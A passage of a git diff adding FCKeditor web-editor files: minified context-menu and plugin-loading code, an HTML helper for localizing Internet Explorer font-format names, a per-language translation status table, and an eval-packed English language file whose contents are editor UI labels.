D=menu.AddItem('Cell',FCKLang.CellCM);D.AddItem('TableInsertCell',FCKLang.InsertCell,58);D.AddItem('TableDeleteCells',FCKLang.DeleteCells,59);D.AddItem('TableMergeCells',FCKLang.MergeCells,60);D.AddItem('TableSplitCell',FCKLang.SplitCell,61);D.AddSeparator();D.AddItem('TableCellProp',FCKLang.CellProperties,57);menu.AddSeparator();D=menu.AddItem('Row',FCKLang.RowCM);D.AddItem('TableInsertRow',FCKLang.InsertRow,62);D.AddItem('TableDeleteRows',FCKLang.DeleteRows,63);menu.AddSeparator();D=menu.AddItem('Column',FCKLang.ColumnCM);D.AddItem('TableInsertColumn',FCKLang.InsertColumn,64);D.AddItem('TableDeleteColumns',FCKLang.DeleteColumns,65);};if (B||C){menu.AddSeparator();menu.AddItem('TableDelete',FCKLang.TableDelete);menu.AddItem('TableProp',FCKLang.TableProperties,39);}}};case 'Link':return {AddItems:function(menu,tag,tagName){var E=(tagName=='A'||FCKSelection.HasAncestorNode('A'));if (E||FCK.GetNamedCommandState('Unlink')!=-1){var F=FCKSelection.MoveToAncestorNode('A');var G=(F&&F.name.length>0&&F.href.length==0);if (G) return;menu.AddSeparator();if (E) menu.AddItem('Link',FCKLang.EditLink,34);menu.AddItem('Unlink',FCKLang.RemoveLink,35);}}};case 'Image':return {AddItems:function(menu,tag,tagName){if (tagName=='IMG'&&!tag.getAttribute('_fckfakelement')){menu.AddSeparator();menu.AddItem('Image',FCKLang.ImageProperties,37);}}};case 'Anchor':return {AddItems:function(menu,tag,tagName){var F=FCKSelection.MoveToAncestorNode('A');var G=(F&&F.name.length>0);if (G||(tagName=='IMG'&&tag.getAttribute('_fckanchor'))){menu.AddSeparator();menu.AddItem('Anchor',FCKLang.AnchorProp,36);}}};case 'Flash':return {AddItems:function(menu,tag,tagName){if (tagName=='IMG'&&tag.getAttribute('_fckflash')){menu.AddSeparator();menu.AddItem('Flash',FCKLang.FlashProperties,38);}}};case 'Form':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('FORM')){menu.AddSeparator();menu.AddItem('Form',FCKLang.FormProp,48);}}};case 'Checkbox':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='checkbox'){menu.AddSeparator();menu.AddItem('Checkbox',FCKLang.CheckboxProp,49);}}};case 'Radio':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='radio'){menu.AddSeparator();menu.AddItem('Radio',FCKLang.RadioButtonProp,50);}}};case 'TextField':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&(tag.type=='text'||tag.type=='password')){menu.AddSeparator();menu.AddItem('TextField',FCKLang.TextFieldProp,51);}}};case 'HiddenField':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='hidden'){menu.AddSeparator();menu.AddItem('HiddenField',FCKLang.HiddenFieldProp,56);}}};case 'ImageButton':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&tag.type=='image'){menu.AddSeparator();menu.AddItem('ImageButton',FCKLang.ImageButtonProp,55);}}};case 'Button':return {AddItems:function(menu,tag,tagName){if (tagName=='INPUT'&&(tag.type=='button'||tag.type=='submit'||tag.type=='reset')){menu.AddSeparator();menu.AddItem('Button',FCKLang.ButtonProp,54);}}};case 'Select':return {AddItems:function(menu,tag,tagName){if (tagName=='SELECT'){menu.AddSeparator();menu.AddItem('Select',FCKLang.SelectionFieldProp,53);}}};case 'Textarea':return {AddItems:function(menu,tag,tagName){if (tagName=='TEXTAREA'){menu.AddSeparator();menu.AddItem('Textarea',FCKLang.TextareaProp,52);}}};case 'BulletedList':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('UL')){menu.AddSeparator();menu.AddItem('BulletedList',FCKLang.BulletedListProp,27);}}};case 'NumberedList':return {AddItems:function(menu,tag,tagName){if (FCKSelection.HasAncestorNode('OL')){menu.AddSeparator();menu.AddItem('NumberedList',FCKLang.NumberedListProp,26);}}};};return null;};function FCK_ContextMenu_OnBeforeOpen(){FCK.Events.FireEvent('OnSelectionChange');var A,sTagName;if ((A=FCKSelection.GetSelectedElement())) sTagName=A.tagName;var B=FCK.ContextMenu._InnerContextMenu;B.RemoveAllItems();var C=FCK.ContextMenu.Listeners;for (var i=0;i<C.length;i++) C[i].AddItems(B,A,sTagName);};function FCK_ContextMenu_OnItemClick(A){FCK.Focus();FCKCommands.GetCommand(A.Name).Execute();};
+var FCKPlugin=function(A,B,C){this.Name=A;this.BasePath=C?C:FCKConfig.PluginsPath;this.Path=this.BasePath+A+'/';if (!B||B.length==0) this.AvailableLangs=[];else this.AvailableLangs=B.split(',');};FCKPlugin.prototype.Load=function(){if (this.AvailableLangs.length>0){var A;if (this.AvailableLangs.IndexOf(FCKLanguageManager.ActiveLanguage.Code)>=0) A=FCKLanguageManager.ActiveLanguage.Code;else A=this.AvailableLangs[0];LoadScript(this.Path+'lang/'+A+'.js');};LoadScript(this.Path+'fckplugin.js');}
+var FCKPlugins=FCK.Plugins={};FCKPlugins.ItemsCount=0;FCKPlugins.Items={};FCKPlugins.Load=function(){var A=FCKPlugins.Items;for (var i=0;i<FCKConfig.Plugins.Items.length;i++){var B=FCKConfig.Plugins.Items[i];var C=A[B[0]]=new FCKPlugin(B[0],B[1],B[2]);FCKPlugins.ItemsCount++;};for (var s in A) A[s].Load();FCKPlugins.Load=null;}
diff --git a/fckeditor/editor/lang/_getfontformat.html b/fckeditor/editor/lang/_getfontformat.html
new file mode 100755 (executable)
index 0000000..0346395
--- /dev/null
@@ -0,0 +1,66 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <title></title>
+               <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
+       </head>
+       <script language="javascript">
+
+window.onload = function()
+{
+       var oRange = document.selection.createRange() ;
+       
+       var sNormal ;
+       var sFormats = '' ;
+       for ( var i = 1 ; i <= 9 ; i++ )
+       {
+               oRange.moveToElementText( document.getElementById( 'x' + i ) ) ;
+               sFormats += oRange.queryCommandValue( 'FormatBlock' ) ;
+               if ( i == 1 )
+                       sNormal = sFormats ;
+               sFormats += ';' ;
+       }
+       
+       document.getElementById('xFontFormats').innerHTML = sFormats + sNormal + ' (DIV)' ;
+}
+       </script>
+       <body>
+               <table width="70%" align="center">
+                       <tr>
+                               <td>
+                                       <h3>FontFormats Localization</h3>
+                                       <p>
+                                               IE has some limits when handling the "Font Format". It actually uses localized 
+                                               strings to retrieve the current format value. This makes it very difficult to 
+                                               make a system that works on every single computer in the world.
+                                       </p>
+                                       <p>
+                                               With FCKeditor, this problem impacts in the "Format" toolbar command that 
+                                               doesn't reflects the format of the current cursor position.
+                                       </p>
+                                       <p>
+                                               There is only one way to make it work. We must localize FCKeditor using the 
+                                               strings used by IE. In this way, we will have the expected behavior at least 
+                                               when using FCKeditor in the same language as the browser. So, when localizing 
+                                               FCKeditor, go to a computer with IE in the target language, open this page and 
+                                               use the following string to the "FontFormats" value:
+                                       </p>
+                                       <div style="white-space: nowrap">
+                                               FontFormats : "<span id="xFontFormats" style="COLOR: #000099"></span>",
+                                       </div>
+                               </td>
+                       </tr>
+               </table>
+               <div style="DISPLAY: none">
+                       <p id="x1">&nbsp;</p>
+                       <pre id="x2">&nbsp;</pre>
+                       <address id="x3">&nbsp;</address>
+                       <h1 id="x4">&nbsp;</h1>
+                       <h2 id="x5">&nbsp;</h2>
+                       <h3 id="x6">&nbsp;</h3>
+                       <h4 id="x7">&nbsp;</h4>
+                       <h5 id="x8">&nbsp;</h5>
+                       <h6 id="x9">&nbsp;</h6>
+               </div>
+       </body>
+</html>
diff --git a/fckeditor/editor/lang/_translationstatus.txt b/fckeditor/editor/lang/_translationstatus.txt
new file mode 100755 (executable)
index 0000000..9f35819
--- /dev/null
@@ -0,0 +1,80 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: _translationstatus.txt
+ *     Translations Status.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+af.js      Found: 402   Missing: 0
+ar.js      Found: 402   Missing: 0
+bg.js      Found: 379   Missing: 23
+bn.js      Found: 387   Missing: 15
+bs.js      Found: 231   Missing: 171
+ca.js      Found: 402   Missing: 0
+cs.js      Found: 387   Missing: 15
+da.js      Found: 387   Missing: 15
+de.js      Found: 402   Missing: 0
+el.js      Found: 402   Missing: 0
+en-au.js   Found: 402   Missing: 0
+en-ca.js   Found: 402   Missing: 0
+en-uk.js   Found: 402   Missing: 0
+eo.js      Found: 351   Missing: 51
+es.js      Found: 387   Missing: 15
+et.js      Found: 387   Missing: 15
+eu.js      Found: 387   Missing: 15
+fa.js      Found: 402   Missing: 0
+fi.js      Found: 387   Missing: 15
+fo.js      Found: 402   Missing: 0
+fr.js      Found: 402   Missing: 0
+gl.js      Found: 387   Missing: 15
+he.js      Found: 402   Missing: 0
+hi.js      Found: 402   Missing: 0
+hr.js      Found: 402   Missing: 0
+hu.js      Found: 402   Missing: 0
+it.js      Found: 402   Missing: 0
+ja.js      Found: 402   Missing: 0
+km.js      Found: 376   Missing: 26
+ko.js      Found: 374   Missing: 28
+lt.js      Found: 382   Missing: 20
+lv.js      Found: 387   Missing: 15
+mn.js      Found: 231   Missing: 171
+ms.js      Found: 357   Missing: 45
+nb.js      Found: 402   Missing: 0
+nl.js      Found: 402   Missing: 0
+no.js      Found: 402   Missing: 0
+pl.js      Found: 387   Missing: 15
+pt-br.js   Found: 402   Missing: 0
+pt.js      Found: 387   Missing: 15
+ro.js      Found: 401   Missing: 1
+ru.js      Found: 402   Missing: 0
+sk.js      Found: 402   Missing: 0
+sl.js      Found: 379   Missing: 23
+sr-latn.js Found: 374   Missing: 28
+sr.js      Found: 374   Missing: 28
+sv.js      Found: 382   Missing: 20
+th.js      Found: 351   Missing: 51
+tr.js      Found: 402   Missing: 0
+uk.js      Found: 402   Missing: 0
+vi.js      Found: 402   Missing: 0
+zh-cn.js   Found: 402   Missing: 0
+zh.js      Found: 402   Missing: 0
diff --git a/fckeditor/editor/lang/en-min.js b/fckeditor/editor/lang/en-min.js
new file mode 100755 (executable)
index 0000000..5c5a98a
--- /dev/null
@@ -0,0 +1,2 @@
+eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('aH 70={9a:"9i",9x:"aI 1j",dp:"8z 1j",30:"30",8F:"2C T",1m:"1m",2Z:"2Z",2K:"2K",K:"K",6U:"K as 57 1r",8y:"K 1X 1d",2J:"2J",7h:"W 19",6S:"13 2j",93:"g",6R:"d/G g",5A:"13 g",u:"d/G u",4y:"o",3N:"d/G o",6P:"Y",6O:"d/G Y",5c:"O",dn:"d/G O",6N:"3v",dl:"d 2d 3v",dj:"25 D",di:"d 25 D",5f:"1R",5g:"d 1R",27:"27 df",3q:"3q",2Y:"2Y",2c:"2c",db:"da d9",3r:"3r",2G:"2G",6F:"k 1h",d5:"1F 1h",d4:"m 1h",d3:"d2 1h",5n:"cZ 3n",6B:"cX 3n",1V:"1V",3l:"3l",cU:"1T P",cT:"d/13 1T P",cS:"1Z P",cR:"d/13 1Z P",6x:"1G O cP",cO:"1G cN",1z:"1z",6v:"2j",21:"21",5u:"1O",cJ:"j y",cI:"J y",3o:"3o",11:"11",l:"l",6s:"cF cE",cD:"6q cB",6p:"T 2L",cz:"d T 2L",1B:"1B",1J:"1J",cx:"3d p",cw:"j z",1U:"1U",6m:"3a z",p:"p",5F:"39 z",ct:"o p",cs:"cr 0 N 2w",6k:"G g",6j:"r",cn:"3i",cm:"3k",6h:"d 3i",cj:"R 18",6g:"d 3k",cg:"R 1a",cf:"d r",6e:"R 3f",cd:"6d 3f",6c:"c9 r",6b:"R O",6a:"r 7",5R:"O 7",c5:"o 7",c4:"Y 7",c3:"u 7",68:"p 7",67:"1J 7",5U:"3a z 7",bX:"3d p 7",64:"o p 7",5X:"j z 7",bT:"39 z 7",5Z:"1U 7",bO:"1B 7",bM:"2u;6u;2E;q 1;q 2;q 3;q 4;q 5;q 6;2u (bH)",bG:"bF 34. f 2t...",3h:"3h",bD:"1x 1r 1k 1g 9 1D 7w 9 be bB 1X 1d. 28 1k 1g 9 bA 1o bz 36?",by:"bx 33 bw 2e 1u bv 7Y 3w 5.5 82 bq. 28 1k 1g 9 1D 88 bo?",8a:"32 bm 8c \\"%1\\"",8e:"32 33 1y \\"%1\\"",bh:"bg v 8j",bd:"1j H \\"%1\\" 8q\'t 8s",8u:"16 U\'s 1t 1c 31 b8 8A 2l 8B 0 N. 29 1N b5 0 8C \\"8D 8E b1 15 8G-aZ\\". 29 aX aW 8K 15 8L 8O 2l.",aR:"1x 8P U 31 v be 8R. 2N 2T 1e 1I 1v 2V 2M 2S.",aN:"8S 3g v aL 9 2X 0 8V 2B. 2N 2T 1I 1v 2V 2M 2S.",8Z:"2R",aD:"aC",aB:"95",az:"97 1E",ax:"aw",av:"<1C>",au:"1s",9c:"f 9d 0 n",aq:"<v H>",9e:"2q",ao:"1w 3u",9f:"k 9 m (2b)",al:"m 9 k (2A)",9j:"1w 2y",aj:"ai ah",ag:"h",9n:"9o ad",ac:"ab 3b n",9q:"a9 a8",a7:"2n 3p",9t:"2n 2k w",a4:"a3 9z a1",a0:"1z",9C:"o 7",9X:"o 1s",9W:"3x 1o 9 0 1E",9V:"n",9U:"3t",9T:"9S j",9R:"14",9Q:"1f",9N:"9O 9P",9Y:"35 1O",a5:"17",a6:"aa",ae:"ak",am:"ap",ar:"k",ay:"2O 1i",aA:"2O 1M",aE:"2I",aJ:"1i",aK:"1M",aO:"m",aP:"j 10",aT:"10",aU:"1m",aY:"f 1n 0 b0 n",b6:"g",b7:"Y 7",ba:"bb bi",bj:"bl",bn:"bt Y 2r",bC:"bE",bJ:"1G 1I",bL:"x 17",bQ:"bR bU",bV:"g",bY:"g 1s",bZ:"24",c1:"g w",c2:"n",ca:"g 9 20 S 0 1r",cb:"E-2f",cc:"ce",ck:"<cl>",cp:"n",cq:"W an u",cy:"2p u h",cA:"2p cC 2q",cK:"(x cL 2e S 0 cQ)",cV:"E-2f 2E",cY:"3s d1",d6:"3s dc",de:"3t",dg:"3x 1o 9 0 1E",dk:"24",8x:"<4p>",3z:"<1v 2B>",8t:"2C F (8r)",4m:"8p F (8o)",8n:"4k F (8l)",8k:"4i F (3D)",4h:"24 8f h",4g:"2D F h",8d:"2D F 4e",89:"4d",87:"86 1P",85:"2r 1P",83:"4a 81",49:"7Z 1P",7X:"1j",7V:"7U 7T (7S)",7R:"7Q (7P)",7O:"14",7N:"1f",42:"k 37",7L:"10 37",7J:"f 1n 0 40 n",7H:"f 1n 0 e-7F 7E",7D:"f 2m an 20",7C:"1x 1v 1y 1N 7A 3c an 7y 4t 15 1N v 7v 7u",7t:"W y",7s:"7r",7q:"7p",7o:"2z",7n:"d a 1R",7k:"W 25 D",7i:"O 7",7g:"18",7f:"1a",7e:"17 2w",7c:"22",7b:"<Q H>",4R:"k",79:"1F",78:"m",77:"14",76:"3y",75:"2x",74:"1f",73:"r 72",71:"r 4Z",6Z:"6Y",6X:"6W",6V:"r 7",6T:"14",58:"3y",6Q:"2x",5d:"1f",6M:"1d 6L",5h:"<Q H>",6J:"6I",6H:"x",6G:"2d 22",6E:"<Q H>",6D:"k",5o:"1F",6A:"m",6z:"6y 22",6w:"<Q H>",5v:"10",6t:"1M",6r:"1i",5C:"2I",6o:"18 3j",6n:"1a 3j",6l:"J y",5I:"17 y",6i:"W...",5L:"11",6f:"11",5M:"1x 5Q 1r 3g v 2a.",69:"l",5T:"11 5V:",65:"l 3c:",5Y:"38 60",62:"l",63:"l 19",6C:"38 7j 2H",7l:"16 U 1t 1c 1L\'t 1W 0 N 9 26 1Y 36 1A. f 1Q 0 1p 1u 1e (1q+V).",7x:"16 U 1t 1c 1L\'t 1W 0 N 9 26 1Y 7K 1A. f 1Q 0 1p 1u 1e (1q+X).",80:"16 U 1t 1c 1L\'t 1W 0 N 9 26 1Y b9 1A. f 1Q 0 1p 1u 1e (1q+C).",8H:"K as 8J j",8M:"K 1X 1d",8T:"f 1D 8W 0 8Y 90 94 0 1p (<1b>1q+V</1b>) 15 9b <1b>2R</1b>.",9g:"1K 21 9k 2P",9m:"13 9p 2P",9s:"9u 2s 9y",9A:"9B",9D:"9F 2h...",9G:"12 7",9I:"u 7",9J:"u h",9Z:"f 1n 0 20 1y",at:"Q S aF",aM:"aQ 9",aV:"1K",b2:"1K 19",bc:"l",bk:"l 19",bu:"1V",bK:"- x bN -",bS:"M Z S bW...",c0:"M Z 1l: x c6 2a",ch:"M Z 1l: x 2F 23",co:"M Z 1l: cu 2H 23",cG:"M Z 1l: %1 2F 23",d0:"M dd v dh. 28 1k 1g 9 4n 1o 4l?",3C:"j (L)",4j:"w",3E:"p",3G:"4f",3H:"35",4c:"h",4b:"L",3K:"2z",48:"h",47:"46",45:"44",43:"h",3S:"L",41:"1O",7G:"3X",4o:"4q 7z 4u",4z:"4A 4C",4D:"j",4G:"L",4H:"4J",4K:"4O",4P:"2s",4S:"4V",4W:"1H as 50 54",55:"R",59:"h",5b:"1a",5e:"18",5j:"h",5k:"L",5m:"D 14",5q:"5r 5t",5w:"w",5B:"j",5D:"5E",5G:"h",5J:"L",5N:"1Z P 7",5S:"1T P 7",61:"66",7a:"w",7m:"7B",7M:"84",8b:"8g",8i:"8v (1, 2, 3)",8N:"8Q 2W (a, b, c)",96:"98 2W (A, B, C)",9r:"9v 2Q 2o (i, 9E, 9H)",9K:"a2 2Q 2o (I, aS, b3)",bf:"bp",bI:"J",bP:"2h 15 3m",ci:"cv cH",cM:"T 3p",d7:"1w 3u",dm:"k 9 m (2b)",3A:"m 9 k (2A)",3F:"1w 2y",3J:"D 1H 2g",3L:"3O 2v",3P:"3R 3T (3V)",3W:"4r",4s:"4B",4E:"4I",4L:"4Q",4T:"4X",4Y:"56 (5a-8)",5i:"5l 2v",5s:"1C D 1H 2g",5K:"12 w q",5O:"1C 12 w q",6K:"7I 34 8h",8m:"J y",8I:"J o n",99:"9h J",9w:"j",9L:"g",af:"aG g",b4:"bs g",c7:"T 3m",cW:"10",3B:"k",3I:"m",3Q:"1i",3Y:"12 4v 4F (4M 4U)",51:"12 3b",5p:"5x",5H:"5P",5W:"1m",1S:"1S",7W:"2k 1S",8X:"f 2m 0 9l 9 2X S 0 N<br />(0 2U 3e d8 be 3M):",3U:"4w 2i 4N. f 2t...",5y:"(x 2i 8w)",91:"l 2U 3e",do:"27",3Z:"52 1s",7d:"8U",9M:"3w",4x:"5z 92 c8 53 9"};',62,832,'the|||||||Properties||to||||Insert||Please|Link|Name||Text|Left|Replace|Right|URL|Image|Button|Heading|Cell|||Anchor|not|Type|No|Color|Field||||Character||Window|Edit|set||Background|Paste|Value|Spell|editor|Table|List|Not|Delete|in|Page|browser||Select||Flash|check|Top|Find|Document|Remove|Width|and|Your|Border|Rows|All|Columns|strong|settings|Word|that|Height|want|Justify|Bottom|Toolbar|you|complete|Preview|type|it|keyboard|Ctrl|text|Info|security|for|popup|Language|The|name|Style|operations|Form|Other|paste|Server|Center|Show|Set|all|Checkbox|Ignore|don|Middle|must|Size|Bar|use|Smiley|Templates|Numbered|Textarea|Undo|permit|from|execute|Bulleted|anchor|Font|Alignment|changed|Target|Special|automatically|About|Do|You|found|LTR|Underline|Horizontal|available|Mail|Encoding|Colors|templates|Format|Content|features|select|Advisory|Numerals|By|Id|Menu|Up|wait|Normal|European|size|percent|Code|Selected|RTL|window|New|Popup|Address|words|Superscript|word|Baseline|Print|Copy|Break|are|Make|Abs|definitions|Roman|OK|disabled|sure|actual|blockers|Letters|open|Italic|Cut|Save|could|Unknown|command|XHTML|Reset|pasting|Position|Match|Selection|Hidden|Description|with|Radio|contents|Cells|was|Done|Row|Span|Column|Redo|Margins|Indent|Source|Title|Bold|Subscript|Message|Upload|Direction|Line|version|Send|pixels|DlgLnkTargetPopup|DlgDocLangDirRTL|DlgDocMaLeft|DlgButtonText|_top|DlgButtonTypeBtn|DlgDocLangCode|DlgButtonTypeSbm|DlgButtonTypeRst|DlgDocMaRight|DlgDocCharSet|DlgCheckboxSelected|DlgDocCharSetCE|lost|InsertImage|Central|DlgDocCharSetCT|DlgDocMaBottom|Chinese|DlgSelectValue|Traditional|DlgTemplatesLoading|Big5|DlgDocCharSetCR|lines|DlgDocMeIndex|DlgAboutBrowserInfoTab|link|DlgSelectSize|DlgLnkPopLeft|DlgSelectName|Method|DlgFormMethod|Action|DlgFormAction|DlgFormName|DlgLnkPopStatus|Scroll|DlgCheckboxValue|DlgCheckboxName|Resizable|Features|Submit|DlgLnkPopWinName|DlgLnkTargetFrameName|Topmost|DlgButtonType|Same|now|DlgLnkTargetParent|download|DlgSelectChkMulti|frame|Allow|Cyrillic|DlgDocCharSetGR|character|selections|Indexing|Loading|DlgAboutInfo|InsertImageLbl|DlgSelectOpAvail|Available|Greek|Options|DlgSelectOpText|DlgDocCharSetJP|Keywords|DlgSelectOpValue|DlgSelectBtnAdd|Japanese|Add|DlgSelectBtnModify|DlgDocCharSetKR|comma|list|Modify|DlgSelectBtnUp|Korean|DlgTableAlignLeft|DlgSelectBtnDown|DlgDocCharSetTR|separated|Down|DlgSelectBtnSetValue|Turkish|DlgDocCharSetUN|padding|selected|DlgDocMeDescr|Browser|go|value|DlgSelectBtnDelete|Unicode|plain|DlgCellWidthPx|DlgTextareaName|UTF|DlgTextareaCols|InsertTableLbl|DlgCellHeight|DlgTextareaRows|InsertSmileyLbl|InsertSmiley|DlgCellWordWrapNotSet|DlgDocCharSetWE|DlgTextName|DlgTextValue|Western|DlgTextCharWidth|DecreaseIndent|DlgCellHorAlignCenter|DlgDocMeAuthor|DlgTextMaxChars|Maximum|DlgDocCharSetOther|Characters|FontSize|DlgCellVerAlignTop|DlgTextType|Author|DlgTemplatesNoTpl|For|RemoveLink|DlgTextTypeText|DlgCellVerAlignBaseline|DlgTextTypePass|Password|SelectionField|DlgHiddenName|DlgDocMeCopy|DlgCellBorderColor|DlgHiddenValue|DlgDocDocType|DlgFindTitle|DlgFindNotFoundMsg|BulletedListProp|DlgDocDocTypeOther|Copyright|specified|TableProperties|NumberedListProp|DlgReplaceFindLbl|HiddenFieldProp|what|DlgDocPreview|TextFieldProp|DlgReplaceCaseChk|TextareaProp|case|DlgLstStart|DlgReplaceReplaceBtn|DlgReplaceReplAllBtn|ImageButtonProp|DlgReplaceReplaceLbl|Start|CheckboxProp|ButtonProp|DlgReplaceTitle|CellProperties|TableDelete|SplitCell|Merge|DeleteCells|DlgFindFindBtn|InsertColumn|InsertRow|DlgCellBtnSelect|CellCM|EditLink|DlgCellBackColor|HiddenField|DlgCellCollSpan|DlgCellRowSpan|PageBreakLbl|Universal|DlgCellVerAlignBottom|SpellCheck|DlgCellVerAlignMiddle|Formatted|FontFormat|DlgCellVerAlignNotSet|ShowTableBorders|Vertical|DlgCellVerAlign|DlgCellHorAlignRight|IncreaseIndent|DlgReplaceWordChk|DlgCellHorAlignLeft|DlgCellHorAlignNotSet|LeftJustify|DlgCellHorAlign|DlgCellWordWrapNo|Yes|DlgCellWordWrapYes|DlgDocIncXHTML|Wrap|DlgCellWordWrap|InsertLineLbl|InsertFlash|InsertFlashLbl|DlgCellWidthPc|InsertLink|RemoveFormat|DlgCellWidth|PasteText|DlgCellTitle|Summary|DlgTableSummary|Caption|DlgTableCaption|FCKLang|DlgTableCellPad|spacing|DlgTableCellSpace|DlgTableHeight|DlgTableWidthPc|DlgTableWidthPx|DlgTableWidth|DlgTableAlignRight|DlgTableAlignCenter|DlgLstType|DlgTableAlignNotSet|DlgTableAlign|DlgAboutLicenseTab|DlgTableBorder|DlgTableColumns|DlgTableRows|SelectAll|DlgTableTitle|whole|DlgSpecialCharTitle|PasteErrorPaste|DlgLstTypeCircle|DlgSmileyTitle|DlgColorSelected|Highlight|DlgColorHighlight|Clear|DlgColorBtnClear|DlgColorTitle|spaces|contain|seems|PasteErrorCut|alphabetic|multiple|begin|Circle|DlnLnkMsgInvPopName|DlnLnkMsgNoAnchor|address|mail|DlgSelectLines|DlnLnkMsgNoEMail|Include|DlnLnkMsgNoUrl|cutting|DlgLnkPopTop|DlgLstTypeDisc|DlgLnkPopHeight|DlgLnkPopWidth|Netscape|Dependent|DlgLnkPopDependent|IE|Screen|Full|DlgLnkPopFullScrn|DlgTemplatesTitle|DlgLnkPopToolbar|Explorer|Status|PasteErrorCopy|Bars|or|DlgLnkPopScroll|Disc|DlgLnkPopMenu|Location|DlgLnkPopLocation|without|DlgLnkPopResize|UnknownToolbarItem|DlgLstTypeSquare|item|DlgLnkPopWinFeat|UnknownCommand|Frame|Square|Declarations|DlgLstTypeNumbers|implemented|DlgLnkTargetTop|_self|DlgDocBgColor|DlgLnkTargetSelf|_parent|Parent|doesn|_blank|exist|DlgLnkTargetBlank|NoActiveX|Numbers|defined|DlgLnkTargetFrame|PasteWord|Expand|some|of|option|Run|ActiveX|NewPage|plug|PasteAsText|DlgDocBgImage|Plain|errors|notice|PasteFromWord|DlgLstTypeLCase|missing|resources|Lowercase|opened|It|DlgPasteMsg2|License|dialog|inside|DlgTemplatesSelMsg|following|DlgBtnOK|box|DlgTemplatesReplace|further|InsertLinkLbl|using|Close|DlgLstTypeUCase|Browse|Uppercase|DlgDocBgNoScroll|Dir|hit|DlgAlertUrl|insert|DlgGenId|DlgGenLangDirLtr|DlgPasteIgnoreFont|Nonscrolling|ltr|DlgGenLangCode|Face|template|DlgPasteRemoveStyles|DlgGenTabIndex|Tab|Styles|DlgGenClass|DlgLstTypeSRoman|DlgPasteCleanBox|DlgGenContType|Clean|Small|DlgDocCText|ToolbarCollapse|Box|Resource|ColorAutomatic|Automatic|DlgImgTitle|ColorMoreColors|ii|More|DocProps|iii|DlgAnchorTitle|DlgAnchorName|DlgLstTypeLRoman|DlgDocCLink|DlgAboutVersion|DlgImgLockRatio|Lock|Ratio|DlgImgHeight|DlgImgWidth|Alternative|DlgImgAlt|DlgImgUpload|DlgImgURL|DlgImgBtnUpload|DlgImgInfoTab|DlgBtnResetSize|DlgAnchorErrorName|DlgGenStyle|Charset|Large|Linked|DlgGenLinkCharset|DlgImgBorder|DlgImgHSpace|DlgGenTitle|Classes|Stylesheet|HSpace|Long|DlgGenLongDescr|Index|DlgImgVSpace|DlgDocCVisited|DlgGenName|Key|Access|DlgGenAccessKey|VSpace|DlgGenLangDirRtl|DlgImgAlign||DlgGenLangDir|Align|DlgGenNotSet|DlgImgAlignLeft||DlgSpellNotInDic|DlgInfoTab|DlgOpOther|Advanced|DlgAdvancedTag|DlgImgAlignAbsBottom|DlgBtnBrowseServer|DlgImgAlignAbsMiddle|DlgBtnClose|Cancel|DlgBtnCancel|DlgImgAlignBaseline|dictionary|Visited|var|Collapse|DlgImgAlignBottom|DlgImgAlignMiddle|possible|DlgSpellChangeTo|DialogBlocked|DlgImgAlignRight|DlgImgAlignTextTop|Change|BrowseServerBlocked|II|DlgImgAlignTop|DlgImgPreview|DlgSpellBtnIgnore|experience|may|DlgImgAlertUrl|ins|image|controls|DlgSpellBtnIgnoreAll|III|DlgDocCActive|enable|DlgImgLinkTab|DlgFlashTitle|limit|copying|DlgFlashChkPlay|Auto|DlgSpellBtnReplace|UnknownToolbarSet||DlgDocGeneralTab|Command|NotImplemented|Play|DlgFlashChkLoop|DlgSpellBtnReplaceAll|Loop|toolbar|DlgFlashChkMenu|cleaning|General|more||Active|Enable|DlgSpellBtnUndo|Internet|is|This|NotCompatiblePaste|before|clean|copied|DlgFlashScale|PasteWordConfirm|Scale|Processing|ProcessingXHTML|DIV|DlgDocBackTab|DlgFlashScaleAll|DlgSpellNoSuggestions|DlgFlashScaleNoBorder|FontFormats|suggestions|FormProp|DlgDocColorsTab|DlgFlashScaleFit|Exact|DlgSpellProgress|SelectionFieldProp|Fit|DlgLnkWindowTitle|progress|RadioButtonProp|DlgLnkInfoTab|DlgLnkTargetTab|DlgSpellNoMispell|DlgLnkType|DlgLnkTypeURL|AnchorProp|FlashProperties|ImageProperties|misspellings|DlgDocMargins|information|Split|DlgLnkTypeAnchor|DlgLnkTypeEMail|DlgLnkProto|MergeCells|Protocol|InsertCell|DeleteColumns|DlgSpellNoChanges|DlgDocMetaTab|DeleteRows|DlgLnkProtoOther|other|ColumnCM|RowCM|DlgSpellOneChange|DlgLnkURL|DlgLnkAnchorSel|Maximize|FitWindow|ImageButton|One|Meta|TextField|RadioButton|DlgLnkAnchorByName|PageBreak|DlgLnkAnchorById|Keyboard|Element|UniversalKeyboard|Spelling|Check|DlgSpellManyChanges|Data|BGColor|TextColor|DlgLnkNoAnchors|anchors|DlgDocPageTitle|Details|ShowDetails|Borders|document|BulletedList|BulletedListLbl|NumberedList|NumberedListLbl|DlgLnkEMail|D